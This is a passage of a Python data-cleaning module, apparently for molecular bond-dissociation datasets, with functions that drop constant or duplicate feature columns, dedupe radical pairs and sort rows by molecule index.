{relevantSet_2.shape[1]}).") inputFullCheck(value=nonTouchableSize, name='nonTouchableSize', dtype='int') if nonTouchableSize < 0: warning(" nonTouchableSize must be positive. Switch to zero (0)") nonTouchableSize = 0 if 100 * (nonTouchableSize / featureSize) > 0.75: x: float = 100 * (nonTouchableSize / featureSize) warning(f" nonTouchableSize is implemented at relatively large scale ({round(x, 2)}%). Please be careful") return None def _getCustomSparseMatrix_(array: ndarray, nonTouchableSize: int, binaryMode: bool, booleanMask: Optional[List[bool]] = None) -> Tuple[List[List[int]], List[ndarray]]: if booleanMask is not None: if len(booleanMask) != array.shape[1]: raise ValueError("Source Code Error") def _validate_(column) -> bool: if booleanMask is None: return True if not booleanMask[column]: return True return False WorkingSize: int = array.shape[1] - nonTouchableSize print("Generate Dynamic Sparse Matrix: PENDING ...") BinaryCols: List[List[int]] = [np.where(array[:, col] == 1)[0].tolist() if _validate_(col) else [] for col in range(0, WorkingSize)] ExtraCols: List[Union[ndarray, List[int]]] = [[] for _ in range(0, WorkingSize)] if binaryMode: return BinaryCols, ExtraCols empty: ndarray = np.array([], dtype=array.dtype) opt: Callable = OptimizeIntegerDatatypeByShape maximumValue: int = np.iinfo(array.dtype).max for col in range(0, WorkingSize): if _validate_(col): if array[:, col].sum() != len(BinaryCols[col]): index_temp: ndarray = np.where(np.logical_and(array[:, col] != 1, array[:, col] != 0))[0] if index_temp.size == 0: ExtraCols[col] = empty else: ExtraCols[col] = np.zeros(shape=(index_temp.size, 2), dtype=opt((int(maximumValue), int(index_temp[-1])))) ExtraCols[col][:, 0] = index_temp ExtraCols[col][:, 1] = array[index_temp, col] print("Generate Dynamic Sparse Matrix: DONE ...") return BinaryCols, ExtraCols def _mergeTwoSortedArrays_(array_1: Union[List[int], ndarray], array_2: Union[List[int], ndarray]) -> List[int]: inputFullCheck(value=array_1, name='array_1', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=array_2, name='array_2', dtype='List-Tuple-ndarray', delimiter='-') size_1: int = array_1.size if inputFastCheck(value=array_1, dtype='ndarray') else len(array_1) size_2: int = array_2.size if inputFastCheck(value=array_2, dtype='ndarray') else len(array_2) if not isinstance(array_1, type(array_2)): warning(" Two arrays does not having same type") if size_1 == 0 and size_2 == 0: return [] else: if size_1 == 0: return array_2.copy() if size_2 == 0: return array_1.copy() newArray: List[int] = [0] * (size_1 + size_2) i, j, k = 0, 0, 0 while i < size_1 and j < size_2: if array_1[i] < array_2[j]: newArray[k] = array_1[i] i += 1 else: newArray[k] = array_2[j] j += 1 k += 1 if i != size_1: # Remaining value from array_1 for x in range(i, size_1): newArray[k] = array_1[x] k += 1 else: for x in range(j, size_2): newArray[k] = array_2[x] k += 1 if k != len(newArray): raise ValueError("Incorrect Merging") return newArray def NonLabelCleaning(cleanedArray: ndarray, labels: Union[ndarray, List[str]], nonTouchableSize: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, HorizontalCleaning: bool = False, VarianceThreshold: Union[int, float] = 0, BinaryMode: bool = False): """ Implementation of Data Cleaning by Features: When calling this function, it will observe all of the features in the ndarray from [0...ndarray.size - nonTouchableSize] using comparedSet as the benchmark. If any features contained singleton value (i.e all 0s / 1s), that features can be marked as useless and would be removed all because it can be sum up as bias(es) parameter. :param cleanedArray: The ndarray database for identifying useless features :type cleanedArray: ndarray :param labels: The labeling of comparedSet (mostly derived from DataFrame.columns). It could be a list of string or ndarray :type labels: List[str] or ndarray :param nonTouchableSize: The number of features at the right of all dataset which is not used for cleaning :type nonTouchableSize: int :param HorizontalCleaning: Whether to apply horizontal cleaning (default to False). :type HorizontalCleaning: bool :param relevantSet_1: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_1: ndarray :param relevantSet_2: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_2: ndarray :param VarianceThreshold: The maximum variance threshold for data cleaning (feature selection) :type VarianceThreshold: int or float :param BinaryMode: If your data is in binary mode (0, 1) only. It would be faster to activate this function. Note that no checking || verification was performed on ndarray if binaryMode=True :type BinaryMode: bool :return: Tuple of ndarray """ # Hyper-parameter Verification if True: _checkCleaningInput_(cleanedArray, labels, nonTouchableSize=nonTouchableSize, relevantSet_1=relevantSet_1, relevantSet_2=relevantSet_2) inputCheckRange(value=VarianceThreshold, name='VarianceThreshold', minValue=0, maxValue=None, allowFloatInput=True) inputFullCheck(value=HorizontalCleaning, name='horizontalCleaning', dtype='bool') print("=" * 30, "Non-Labeled Cleaning", "=" * 30) DM_startTime: float = perf_counter() ObservationSize, InitialSize, WorkingSize = cleanedArray.shape[0], cleanedArray.shape[1], \ cleanedArray.shape[1] - nonTouchableSize VerticalSimilar, HorizontalSimilar = [], [] BooleanLargeMask: List[bool] = [False] * WorkingSize print("Number of Original Features:", InitialSize) print("[1]- Vertical Data Cleaning: ", end="") for col in range(0, WorkingSize): if IsSingleUnique(cleanedArray[:, col], binaryMode=BinaryMode): BooleanLargeMask[col] = True VerticalSimilar.append(col) if VarianceThreshold != 0: newVerticalSimilarElement: List[int] = [] for col in range(0, WorkingSize): if not BooleanLargeMask[col]: if BinaryMode: nums_one = np.count_nonzero(cleanedArray[:, col] == np.uint8(1)) if (nums_one * (1 - nums_one / ObservationSize) ** 2) / (ObservationSize - 1) <= VarianceThreshold: newVerticalSimilarElement.append(col) BooleanLargeMask[col] = True else: if cleanedArray[:, col].var() <= VarianceThreshold: newVerticalSimilarElement.append(col) BooleanLargeMask[col] = True if len(newVerticalSimilarElement) != 0: # Merging two sorted arrays VerticalSimilar = _mergeTwoSortedArrays_(array_1=VerticalSimilar, array_2=newVerticalSimilarElement) print("Number of Modified Features:", InitialSize - len(VerticalSimilar)) print("[2]- Horizontal Data Cleaning: ", end="") if HorizontalCleaning: # IterationsCount: int = 0 # [1]: Generate Dynamic Sparse Matrix BinaryCols, ExtraCols = _getCustomSparseMatrix_(array=cleanedArray, nonTouchableSize=nonTouchableSize, binaryMode=BinaryMode, booleanMask=BooleanLargeMask) # [2]: Making comparison print("Comparing Column: PENDING ... ", end='') for staticCol in range(0, WorkingSize): if not BooleanLargeMask[staticCol]: print("Remaining Columns: ", WorkingSize - staticCol) for dynamicCol in range(staticCol + 1, WorkingSize): if not BooleanLargeMask[dynamicCol]: # IterationsCount += 1 check: bool = True if len(ExtraCols[staticCol]) != 0: check: bool = False if ArrayEqual(ExtraCols[staticCol][:, 0], ExtraCols[dynamicCol][:, 0]): if ArrayEqual(ExtraCols[staticCol][:, 1], ExtraCols[dynamicCol][:, 1]): check = True if check: if ArrayEqual(BinaryCols[staticCol], BinaryCols[dynamicCol]): HorizontalSimilar.append(dynamicCol) # print("Number of Horizontal Iterations:", IterationsCount) print("DONE") # [2]: Cleaning Section print("[3]- Generate Removing Column from Boolean Mask and Delete them: PENDING ...") CompleteIndex: List[int] = [column for column in range(0, WorkingSize) if BooleanLargeMask[column]] if CompleteIndex: cleanedArray = np.delete(cleanedArray, obj=CompleteIndex, axis=1) if relevantSet_1 is not None: relevantSet_1 = np.delete(relevantSet_1, obj=CompleteIndex, axis=1) if relevantSet_2 is not None: relevantSet_2 = np.delete(relevantSet_2, obj=CompleteIndex, axis=1) labels = np.delete(labels, obj=CompleteIndex, axis=None) print(f"Number of Modified Features: {cleanedArray.shape[1]}") print(f"Number of Original Features: {InitialSize}" f"\n----- 1: Vertical Database Minimization -----" f"\n\t: Remaining Features : {InitialSize - len(VerticalSimilar)}" f"\n----- 2: Horizontal Database Minimization -----" f"\n\t: Remaining Features : {InitialSize - len(VerticalSimilar) - len(HorizontalSimilar)}") # f"\n----- 3: Removed Column: {CompleteIndex}") print(f"Non-Labeled (Data) Cleaning: {perf_counter() - DM_startTime:.6f}s") if relevantSet_1 is None and relevantSet_2 is None: return cleanedArray, labels elif relevantSet_1 is not None and relevantSet_2 is None: return cleanedArray, relevantSet_1, labels elif relevantSet_1 is None and relevantSet_2 is not None: return cleanedArray, relevantSet_2, labels return cleanedArray, relevantSet_1, relevantSet_2, labels def GroupCleaning(cleanedArray: ndarray, labels: Union[ndarray, List[str]], nonTouchableSize: int, numsInput: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, StrictCleaning: bool = False, BinaryMode: bool = False): """ Implementation of Data Cleaning by Set of Features: When calling this function, it will observe sets of similar features columns be columns ndarray from [0...ndarray.size - nonTouchableSize] using comparedArray as the benchmark. :param cleanedArray: The ndarray database for identifying useless features :type cleanedArray: ndarray :param labels: The labeling of comparedSet (mostly derived from DataFrame.columns). It could be a list of string or ndarray :type labels: List[str] or ndarray :param nonTouchableSize: The number of features at the right of all dataset which is not used for cleaning :type nonTouchableSize: int :param numsInput: The number of set of features used for elimination :type numsInput: int :param StrictCleaning: Whether to ensure that feature is singleton (one unique feature only) :type StrictCleaning: bool :param relevantSet_1: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_1: ndarray :param relevantSet_2: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_2: ndarray :param BinaryMode: If your data is in binary mode (0, 1) only. It would be faster to activate this function. Note that no checking || verification was performed on ndarray if binaryMode=True :type BinaryMode: bool :return: Tuple of ndarray """ # Hyper-parameter Verification if True: _checkCleaningInput_(comparedArray=cleanedArray, FeaturesLabels=labels, nonTouchableSize=nonTouchableSize, relevantSet_1=relevantSet_1, relevantSet_2=relevantSet_2) inputFullCheck(value=StrictCleaning, name='strict_cleaning', dtype='bool') inputFullCheck(value=BinaryMode, name='BinaryMode', dtype='bool') print("=" * 30, "Index-Based Cleaning", "=" * 30) DM_startTime: float = perf_counter() ObservationSize, InitialSize, WorkingSize = cleanedArray.shape[0], cleanedArray.shape[1], \ cleanedArray.shape[1] - nonTouchableSize EachWorkingSize: int = WorkingSize // numsInput IndexSimilar: List[int] = [] TotalIterations: int = 0 # Generate Sparse Matrix BinaryCols, ExtraCols = _getCustomSparseMatrix_(array=cleanedArray, nonTouchableSize=nonTouchableSize, binaryMode=BinaryMode, booleanMask=None) for ComparingColumn in range(0, EachWorkingSize): if StrictCleaning: if len(BinaryCols[ComparingColumn]) not in [0, ObservationSize]: # Maintain full constant continue if len(ExtraCols[ComparingColumn]) != 0: if not IsSingleUnique(ExtraCols[ComparingColumn][:, 1], binaryMode=BinaryMode): continue removable: bool = True for sample in range(1, numsInput): TotalIterations += 1 CompareToThisColumn: int = EachWorkingSize * sample + ComparingColumn if not BinaryMode: if not ArrayEqual(ExtraCols[ComparingColumn][:, 0], ExtraCols[CompareToThisColumn][:, 0]): removable = False break if not ArrayEqual(ExtraCols[ComparingColumn][:, 1], ExtraCols[CompareToThisColumn][:, 1]): removable = False break if not ArrayEqual(BinaryCols[ComparingColumn], BinaryCols[CompareToThisColumn]): removable = False break if removable: IndexSimilar += [EachWorkingSize * idx + ComparingColumn for idx in range(0, numsInput)] if IndexSimilar: print("List of Removed Cols: \n", np.reshape(IndexSimilar, newshape=(len(IndexSimilar) // numsInput, numsInput))) IndexSimilar.sort() cleanedArray = np.delete(cleanedArray, obj=IndexSimilar, axis=1) if relevantSet_1 is not None: relevantSet_1 = np.delete(relevantSet_1, obj=IndexSimilar, axis=1) if relevantSet_2 is not None: relevantSet_2 = np.delete(relevantSet_2, obj=IndexSimilar, axis=1) labels = np.delete(labels, obj=IndexSimilar, axis=None) print("Number of Initial Features:", InitialSize) print("Remaining Features:", cleanedArray.shape[1]) print("Number of Iterations: ", TotalIterations) print(f"Index-Based (Data) Cleaning: {perf_counter() - DM_startTime:.6f}s") if relevantSet_1 is None and relevantSet_2 is None: return cleanedArray, labels elif relevantSet_1 is not None and relevantSet_2 is None: return cleanedArray, relevantSet_1, labels elif relevantSet_1 is None and relevantSet_2 is not None: return cleanedArray, relevantSet_2, labels return cleanedArray, relevantSet_1, relevantSet_2, labels # ------------------------------------------------------------------------------------------------------------------- # [5]: Function used for extension # [5.1]: Function used for extension def ArraySorting(database: ndarray, column: int, reverse: bool = False) -> ndarray: """ Implementation of column sorting by row. :param database: The dataset needs to be sorted :type database: ndarray :param column: The column needs to make sorting :type column: int :param reverse: Whether to reversed the order of sorting (default to False) :type reverse: bool :return: ndarray """ if not inputFullCheck(value=database, name='database', dtype='ndarray', warning_only=True): database = np.asarray(database) inputCheckRange(value=column, name='column', maxValue=database.shape[1], minValue=0) inputFullCheck(value=reverse, name='reverse', dtype='bool') index: ndarray = np.argsort(database[:, column]) return database[index[::-1]] if reverse else database[index] def _checkGetIndex_(database: ndarray, column: int, get_last: bool = False) -> None: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=column, name='column', maxValue=database.shape[1], minValue=0) inputFullCheck(value=get_last, name='get_last', dtype='bool') return None def GetIndexOnArrangedData(database: ndarray, column: int, get_last: bool = False, key: Callable = str) -> List: """ Implementation of get the index of the object in the column position of the database. :param database: The dataset needs to be sorted :type database: ndarray :param column: The column needs to make sorting. Note that the indicated column should not be your own customized object. :type column: int :param get_last: Whether to get the last position of the database :type get_last: bool :param key: The function used to check with current status :type key: Callable :return: List """ # Hyper-parameter Verification _checkGetIndex_(database=database, column=column, get_last=get_last) value = key(database[0, column]) storage = [value] MolData: List[Tuple[int, Optional[str]]] = [(0, value)] for index, value in enumerate(database[1:, column], start=1): value = key(value) if value != storage[-1]: MolData.append((index, value)) storage.append(value) if get_last: MolData.append((database.shape[0], None)) return MolData def GetIndexOnArrangedDataV2(database: ndarray, column: Tuple[int, int], get_last: bool = False, first_key: Callable = str, second_key: Callable = int) -> Tuple[List[Tuple], List[Tuple]]: # Hyper-parameter Verification _checkGetIndex_(database=database, column=column[0], get_last=get_last) _checkGetIndex_(database=database, column=column[1], get_last=get_last) MolData: List[Tuple[int, str]] = GetIndexOnArrangedData(database=database, column=column[0], get_last=True, key=first_key) StackData: List[Tuple] = [] for index, value in range(0, len(MolData) - 1): BEGIN, END = MolData[index][0], MolData[index + 1][0] CurrentData = database[BEGIN, column[1]] StackData.append((BEGIN, second_key(database[BEGIN, column[1]]))) for row in range(BEGIN + 1, END): if database[row, column[1]] != CurrentData: CurrentData = database[row, column[1]] StackData.append((row, int(database[row, column[1]]))) if get_last is False: MolData.pop() else: StackData.append((database.shape[0], None)) return MolData, StackData # [5.2]: Function used for advanced extension def _checkNumericalTargetInputs_(target_value: Optional[Union[int, List[int], Tuple]], name: str, maxValue: int, minValue: int = 0, **kwargs) -> Optional[Union[int, List[int], Tuple]]: # **kwargs: Argument need for function inputCheckRange if target_value is None: return target_value inputFullCheck(value=target_value, name=name, dtype='int-List-Tuple', delimiter='-') if inputFastCheck(value=target_value, dtype='List-Tuple'): for idx, val in enumerate(target_value): inputCheckRange(value=val, name=f"{name}[{idx}]", maxValue=maxValue, minValue=minValue, **kwargs) return target_value inputCheckRange(value=target_value, name=name, maxValue=maxValue, minValue=minValue, **kwargs) return [target_value] @MeasureExecutionTime def DuplicateRadical(database: ndarray, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), RemoveTwoSameFragments: bool = True) -> ndarray: """ Implementation of duplicating radicals :param database: The dataset needs to make radicals duplication :type database: ndarray :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] :param RemoveTwoSameFragments: Whether to remove two identical radicals (default to True) :type RemoveTwoSameFragments: bool :return: """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckIterableInRange(value=RadicalCols, name='RadicalCols', minValue=0, maxValue=database.shape[1], maxInputInside=2) inputFullCheck(value=RemoveTwoSameFragments, name='RemoveTwoSameFragments', dtype='bool') r1, r2 = RadicalCols[0], RadicalCols[1] extractor = database[:, (r1, r2)].copy() path = np.arange(0, 2 * database.shape[0], 2, dtype=np.uint32) newFile = np.zeros(shape=(database.shape[0] * 2, database.shape[1]), dtype=database.dtype) newFile[path, :] = database newFile[path + 1, :] = database newFile[path + 1, (r1, r2)] = extractor[:, (1, 0)] if RemoveTwoSameFragments: # Note that we only test on the initial value only, stored in path, not for full file newFile = np.delete(newFile, obj=[row for row in path if newFile[row, r1] == newFile[row, r2]], axis=0) return newFile def DuplicateRadicalByFile(FilePath: str, Output: str = None, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), RemoveTwoSameFragments: bool = True, FileExport: bool = True) -> pd.DataFrame: """ Implementation of duplicating radicals :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] or Tuple[int] or ndarray :param RemoveTwoSameFragments: Whether to remove two identical radicals (default to True) :type RemoveTwoSameFragments: bool :param FileExport: Whether to allow export to file :type FileExport: bool :return: """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = DuplicateRadical(database=value, RadicalCols=RadicalCols, RemoveTwoSameFragments=RemoveTwoSameFragments) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame @MeasureExecutionTime def GetLineWhenRemoveRepeatedRadicals(database: ndarray, RadicalCols: Tuple[int, int] = (1, 2), MoleculeCol: int = 0, TargetCol: Optional[Union[int, List[int]]] = None, RemoveConnection: bool = True) -> List[int]: """ Implementation of removing repeated radicals. Get the line of removal :param database: The dataset needs to make radicals duplication :type database: ndarray :param MoleculeCol: The molecule_column used for calling index data :type MoleculeCol: int :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: List[int] :param RemoveConnection: If set to True, it would remove all duplication either in mode A-B or B-A. Else, it would only observe for one way only :type RemoveConnection: bool :return: ndarray """ # [0]: Hyper-parameter Verification if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=MoleculeCol, name='MoleculeCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputCheckIterableInRange(value=RadicalCols, name='RadicalCols', minValue=0, maxValue=database.shape[1], maxInputInside=2) inputFullCheck(value=RemoveConnection, name='RemoveConnection', dtype='bool') TargetCol = _checkNumericalTargetInputs_(target_value=TargetCol, name='TargetCol', maxValue=database.shape[1], minValue=0) indexData = GetIndexOnArrangedData(database=database, column=MoleculeCol, get_last=True) radicalsList = database[:, RadicalCols].tolist() RemoveLine: List[int] = [] size: int = len(indexData) - 1 def evaluate(radicals: List[List[str]], current_row: int, following_row: int, removeConnection: bool) -> bool: if radicals[current_row][0] == radicals[following_row][0]: if radicals[current_row][1] == radicals[following_row][1]: return True if removeConnection: if radicals[current_row][0] == radicals[following_row][1]: if radicals[current_row][1] == radicals[following_row][0]: return True return False for index in range(0, size): # Extract Molecule begin, end = indexData[index][0], indexData[index + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): # For every bond if Temp[row - begin] is not None: continue OverlappedBDE: List[int] = [row] for nextRow in range(row + 1, end): if Temp[nextRow - begin] is None: if evaluate(radicals=radicalsList, current_row=row, following_row=nextRow, removeConnection=RemoveConnection): Temp[nextRow - begin] = False RemoveLine.append(nextRow) OverlappedBDE.append(nextRow) if TargetCol is not None: if len(OverlappedBDE) > 1: for value in TargetCol: database[row, value] = database[OverlappedBDE, value].astype(np.float32).mean() return RemoveLine def RemoveRepeatedRadicals(database: ndarray, RadicalCols: Union[List[int], Tuple[int, int]] = (1, 2), MoleculeCol: int = 0, TargetCol: Union[int, List[int], Tuple] = None, RemoveConnection: bool = True) -> ndarray: RemoveLine: List[int] = \ GetLineWhenRemoveRepeatedRadicals(database=database, RadicalCols=RadicalCols, MoleculeCol=MoleculeCol, TargetCol=TargetCol, RemoveConnection=RemoveConnection) return np.delete(database, obj=RemoveLine, axis=0) if RemoveLine else database def RemoveRepeatedRadicalsByFile(FilePath: str, Output: str = None, MoleculeCol: int = 0, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), TargetCol: Union[List[int], Tuple[int]] = None, RemoveConnection: bool = True, FileExport: bool = True) -> pd.DataFrame: """ Implementation of removing repeated radicals :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param MoleculeCol: The molecule_column used for calling index data :type MoleculeCol: int :param RadicalCols: Two radical columns for radical duplication (default to (1, 2)) :type RadicalCols: List[int] :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param RemoveConnection: If set to True, it would remove all duplication either in mode A-B or B-A. Else, it would only observe for one way only :type RemoveConnection: bool :param FileExport: Whether to allow export to file :type FileExport: bool :return: None """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = RemoveRepeatedRadicals(database=value, RadicalCols=RadicalCols, MoleculeCol=MoleculeCol, TargetCol=TargetCol, RemoveConnection=RemoveConnection) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame @MeasureExecutionTime def RemoveSingleDuplicateInIdx(database: ndarray, IndexCol: int = 0, RemovingCol: int = 3, TargetCol: Union[int, List[int], Tuple] = None, IndexSorting: bool = False, key: Callable = int) -> ndarray: """ Implementation of removing duplication in molecule. :param database: The dataset needs to make radicals duplication :type database: ndarray :param RemovingCol: The removing_column used for calling index data :type RemovingCol: int :param IndexCol: The column used to make benchmark :type IndexCol: int :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param key: The method used for validation and comparison (default to be int()). :type key: Callable :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=IndexCol, name='IndexCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputCheckRange(value=RemovingCol, name='RemovingCol', maxValue=database.shape[1], minValue=0, fastCheck=True) TargetCol = _checkNumericalTargetInputs_(target_value=TargetCol, name='TargetCol', maxValue=database.shape[1], minValue=0) inputFullCheck(value=IndexSorting, name='IndexSorting', dtype='bool') inputFullCheck(value=key, name='key', dtype='Callable') if IndexSorting: database = ArraySorting(database=database, column=IndexCol, reverse=False) MolData = GetIndexOnArrangedData(database=database, column=IndexCol, get_last=True) OverlappedPosition: List[int] = [] size: int = len(MolData) - 1 if TargetCol is not None: for i in range(0, size): begin, end = MolData[i][0], MolData[i + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): if Temp[row - begin] is not None: continue OverlappedBDE: List[int] = [row] for nextRow in range(begin + 1, end): if Temp[nextRow - begin] is None: if key(database[row, RemovingCol]) == key(database[nextRow, RemovingCol]): Temp[nextRow - begin] = False OverlappedPosition.append(nextRow) OverlappedBDE.append(nextRow) if len(OverlappedBDE) > 1: for value in TargetCol: database[row, value] = database[OverlappedBDE, value].astype(np.float32).mean() else: for i in range(0, size): begin, end = MolData[i][0], MolData[i + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): if Temp[row - begin] is not None: continue for nextRow in range(begin + 1, end): if Temp[nextRow - begin] is None: if key(database[row, RemovingCol]) == key(database[nextRow, RemovingCol]): Temp[nextRow - begin] = False OverlappedPosition.append(nextRow) return np.delete(database, obj=OverlappedPosition, axis=0) if OverlappedPosition else database def RemoveSingleDuplicateInIdxByFile(FilePath: str, output: str = None, IndexCol: int = 0, RemovingCol: int = 3, IndexSorting: bool = False, key: Callable = int, TargetCol: Union[List[int], Tuple[int, ...]] = None, FileExport: bool = True) -> pd.DataFrame: """ Implementation of removing duplication in molecule. :param FilePath: The directory of the file :type FilePath: str :param output: The directory of the output. If None, it will overlapped on the original file :type output: str :param RemovingCol: The removing_column used for calling index data :type RemovingCol: int :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param IndexCol: The column used to make benchmark :type IndexCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param key: The method used for validation and comparison (default to be int()). :type key: Callable :param FileExport: Whether to allow export to file :type FileExport: bool :return: None """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = RemoveSingleDuplicateInIdx(database=value, IndexCol=IndexCol, RemovingCol=RemovingCol, TargetCol=TargetCol, IndexSorting=IndexSorting, key=key) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=output, status=FileExport) return DataFrame def SortWithIdx(database: ndarray, IndexCol: int = 0, SortCol: int = 3, ExtraSortCol: Optional[int] = None, IndexSorting: bool = False, IndexReverse: bool = False, SortKey: Callable = int, SortReverse: bool = False, ExtraSortKey: Callable = float, ExtraSortReverse: bool = False) -> ndarray: """ Implementation of sorting two specified column with defined order. :param database: The dataset needs to be sorted :type database: ndarray :param IndexCol: Integer used to mark the index for benchmarking, especially for molecule :type IndexCol: int :param SortCol: Integer used to sorting some specific values in order in specific range, especially for bond index :type SortCol: int :param ExtraSortCol: Integer used to sorting extra 'column' requirement specific values in order in specific range, especially for BDE :type ExtraSortCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param SortKey: The method used for validation and comparison (default to be int()). :type SortKey: Callable :param ExtraSortKey: The method used for validation and comparison (default to be float()), used for 'extra'. :type ExtraSortKey: Callable :param IndexReverse: If True, the sorting order in the IndexCol would be descending instead of ascending :type IndexReverse: bool :param SortReverse: If True, the sorting order in the SortingCol would be descending instead of ascending :type SortReverse: bool :param ExtraSortReverse: If True, the sorting order in the ExtraSortingCol would be descending instead of ascending :type ExtraSortReverse: bool :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=IndexCol, name='IndexCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputFullCheck(value=IndexSorting, name='IndexSorting', dtype='bool') inputFullCheck(value=IndexReverse, name='reverse', dtype='bool') inputCheckRange(value=SortCol, name='SortCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputFullCheck(value=SortKey, name='SortKey', dtype='Callable') inputFullCheck(value=SortReverse, name='SortReverse', dtype='bool') if IndexSorting: database: ndarray = ArraySorting(database=database, column=IndexCol, reverse=IndexReverse) DataStructure = GetIndexOnArrangedData(database=database, column=IndexCol, get_last=True) for i in range(0, len(DataStructure) - 1): begin, end = DataStructure[i][0], DataStructure[i + 1][0] if end - begin != 1: temp: List = database[begin:end, :].tolist() temp.sort(key=lambda item: SortKey(item[SortCol]), reverse=SortReverse) database[begin:end, :] = temp if ExtraSortCol is not None: database[begin:end, :] = \ SortWithIdx(database=database[begin:end, :], IndexCol=SortCol, SortCol=ExtraSortCol, ExtraSortCol=None, IndexSorting=False, IndexReverse=False, SortKey=ExtraSortKey, SortReverse=ExtraSortReverse) return database def SortWithIdxByFile(FilePath: str, Output: str = None, IndexCol: int = 0, SortingCol: int = 3, ExtraSortingCol: Optional[int] = None, IndexSorting: bool = False, SortingKey: Callable = int, ExtraSortingKey: Callable = float, reverse: bool = False, SortingReverse: bool = False, ExtraReverse: bool = False, FileExport: bool = True) -> pd.DataFrame: """ Implementation of sorting two specified column with defined order. :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param IndexCol: Integer used to mark the index for benchmarking, especially for molecule :type IndexCol: int :param SortingCol: Integer used to sorting some specific values in order in specific range, especially for bond index :type SortingCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param SortingKey: The method used for validation and comparison (default to be int()). :type SortingKey: Callable :param reverse: If True, the sorting order in the IndexCol would be descending instead of ascending :type reverse: bool :param SortingReverse: If True, the sorting order in the SortingCol would be descending instead of ascending :type SortingReverse: bool :param FileExport: Whether to allow export to file :type FileExport: bool :param ExtraSortingCol: Integer used to sorting extra 'column' requirement specific values in order in specific range, especially for BDE :type ExtraSortingCol: int :param ExtraSortingKey: The method used for validation and comparison (default to be float()), used for 'extra'. :type ExtraSortingKey: Callable :param ExtraSortingKey: The method used for validation and comparison (default to be int()), used for 'extra'. :type ExtraSortingKey: Callable :param ExtraReverse: If True, the sorting order in the ExtraSortingCol would be descending instead of ascending :type ExtraReverse: bool :return: ndarray """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = SortWithIdx(database=value, IndexCol=IndexCol, SortCol=SortingCol, ExtraSortCol=ExtraSortingCol, IndexSorting=IndexSorting, IndexReverse=reverse, SortKey=SortingKey, SortReverse=SortingReverse, ExtraSortKey=ExtraSortingKey, ExtraSortReverse=ExtraReverse) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame def GetRemainingIndexToLimit(indexArray: Union[ndarray, List[int], Tuple[int]], maximumValue: int) -> List[int]: if True: if inputFastCheck(value=indexArray, dtype='ndarray'): if indexArray.ndim != 1: raise TypeError("indexArray should be 1-dimensional array") if checkNumpyIntegerDtype(indexArray.dtype): infiniteCheck = checkNumpyUnsignedIntegerDtype(indexArray.dtype) else: raise TypeError("indexArray should be 1-dimensional array of positive integer value") else: infiniteCheck = True if len(set(indexArray)) != len(indexArray): raise TypeError("indexArray should not contained duplicated value") if isinstance(maximumValue, (int, np.integer)): if maximumValue <= 0: raise TypeError(f"maximumValue={maximumValue} should be positive integer") if maximumValue < indexArray[-1]: warning(f" There are something that is not right. In normal cases, maximumValue={maximumValue} " f"should be the largest value of all") else: raise TypeError(f"maximumValue={maximumValue} should be positive integer") array: List[int] = [] n: int = len(indexArray) counter: int = 0 indexArray.sort() isChecked: bool = False for idx in range(0, maximumValue): if counter >= n: array.append(idx) continue if 